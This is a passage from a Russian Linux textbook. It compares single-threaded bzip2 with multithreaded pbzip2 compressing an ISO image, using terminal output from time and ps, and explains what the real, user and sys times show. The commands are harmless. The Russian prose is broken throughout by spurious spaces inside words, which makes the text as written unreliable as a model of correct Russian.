Пар  алл  ельн  ые мно гонит  евые утил  иты

 
fitz@ubuntu:~$ ls ‐lh plan9.iso 
‐rw‐r‐‐r‐‐ 1 fitz fitz 287M нояб. 28 15:47 plan9.iso 
❶ fitz@ubuntu:~$ time bzip2 plan9.iso & 
[1] 5545 
fitz@ubuntu:~$ ps f 
  PID TTY      STAT   TIME COMMAND 
 4637 pts/0    S      0:00 ‐bash 
 5545 pts/0    S      0:00    _ ‐bash 
 5546 pts/0    R      0:12    _ bzip2 plan9.iso 
 5548 pts/0    R+     0:00    _ ps f 
fitz@ubuntu:~$ ps ‐fLp 5546 
UID        PID  PPID   LWP  C NLWP STIME TTY          TIME CMD 
fitz      5546  5545  5546 96   1 10:50 pts/0    00:00:22 bzip2 
plan9.iso 
fitz@ubuntu:~$ fg 
time bzip2 plan9.iso
 
real  0m54.780s 
user  0m51.772s 
sys 0m0.428s 
fitz@ubuntu:~$ ls ‐lh plan9.iso.bz2 
‐rw‐r‐‐r‐‐ 1 fitz fitz 89M нояб. 28 15:47 plan9.iso.bz2 
❷ fitz@ubuntu:~$ time bzip2 ‐d plan9.iso.bz2
 
real  0m20.705s 
user  0m19.044s 
sys 0m1.168s 
① fitz@ubuntu:~$ time pbzip2 plan9.iso & 
[1] 5571 
fitz@ubuntu:~$ ps f 
  PID TTY      STAT   TIME COMMAND 
 4637 pts/0    S      0:00 ‐bash 
 5571 pts/0    S      0:00 ‐bash 
 5572 pts/0    Sl     0:03    _ pbzip2 plan9.iso 
 5580 pts/0    R+     0:00    _ ps f 
fitz@ubuntu:~$ ps ‐fLp 5572 
UID        PID  PPID   LWP  C NLWP STIME TTY          TIME CMD 
fitz      5572  5571  5578 92   8 10:52 pts/0    00:00:43 pbzip2 
plan9.iso 
... 
fitz      5572  5571  5579  1    8 10:52 pts/0    00:00:00 pbzip2 
plan9.iso 
fitz@ubuntu:~$ fg 
time pbzip2 plan9.iso
 
real  0m24.259s 
user  1m22.940s 
sys 0m1.888s 
fitz@ubuntu:~$ ls ‐lh plan9.iso.bz2 
‐rw‐r‐‐r‐‐ 1 fitz fitz 89M нояб. 28 15:47 plan9.iso.bz2 
② fitz@ubuntu:~$ time pbzip2 ‐d plan9.iso.bz2
 
real  0m7.384s 
user  0m25.972s 
sys 0m1.396s
 

В  результ  ате  оценк  и  ока зыва ется,  что  пос ледоват  ельн  ый  упак  овщ  ик
bzip2 использ  ует один однон  ите вой про цесс и зат рачива ет ≈54,7 с реаль ного
врем  ени  на  упак  ов ку,  из  них  ≈51,7  с  пров  одит  в  польз  овательс  ком  режиме
user  и  лишь  ≈0,4  с  в  режиме  ядра  sys  (выпол няя  сис темные  вызовы,  нап‐ 
ример  read  или  write).  Соот ношение  меж ду  врем  енем  режимов  говорит
о вычис лительн  ом харак тере прог раммы, т. е. о сущест  вен ном пре вали рова‐ 
нии  вре мени  вычисл  итель ных  опе раций  упак  ов ки  над  вре менем  опер  аций
вво да‐вывода  для  чте ния  исходных  дан ных  и  записи  результ  атов.  Это  озна‐ 
чает, что наг рузка посл  едова тель ного упа ковщ  ика на цент  ральн  ый про цес сор
(в  случ  ае,  если  бы  он  был  единст  венн  ый)  близк  а  к  макс  ималь ной,  и  его
парал лель ная  реализ  ация  для  псев доодн  оврем  енн  ого  выполн  ения  вет вей
(которые практ  ическ  и никог да не спят) лишена смыс ла.

Па рал лельн  ый  упак  овщ  ик  pbzip2  использ  ует  один  мног  они тевой  проц  есс
из  восьм  и  нитей  и  зат рачивае  т  ≈24,4  с  реаль ного  врем  ени  на  упак  ов ку,
при  этом  ≈1  мин  22,9  с  (!)  про водит  в  польз  ователь ском  режиме  и  ≈1,8  с  в
режиме  ядра.  Прир  ост  про изво дитель нос ти  упак  ов ки  и,  как  следст  вие,  сок‐ 
ращение  врем  ени  упа ковк  и  дост  ига ются  за  счет  нас тоящег  о  паралл  ельн  ого
выпол нения  нитей  на  неск  ольк  их  про цесс  орах  (разн  ых  ядрах  проц  ес сора).
Соот ношение межд  у реальн  ым вре менем упак  овк  и и сумм  арно зат раченн  ым
врем  енем  режима  польз  овате ля,  которое  при мер но  в  3  раза  больш  е,  озна‐ 
чает исполь зование в средн  ем трех про цесс  оров для парал лель ного выпол‐ 
нения вычис литель ных опе раций упа ков ки.

→Продолжение статьи






Click to View FlipBook Version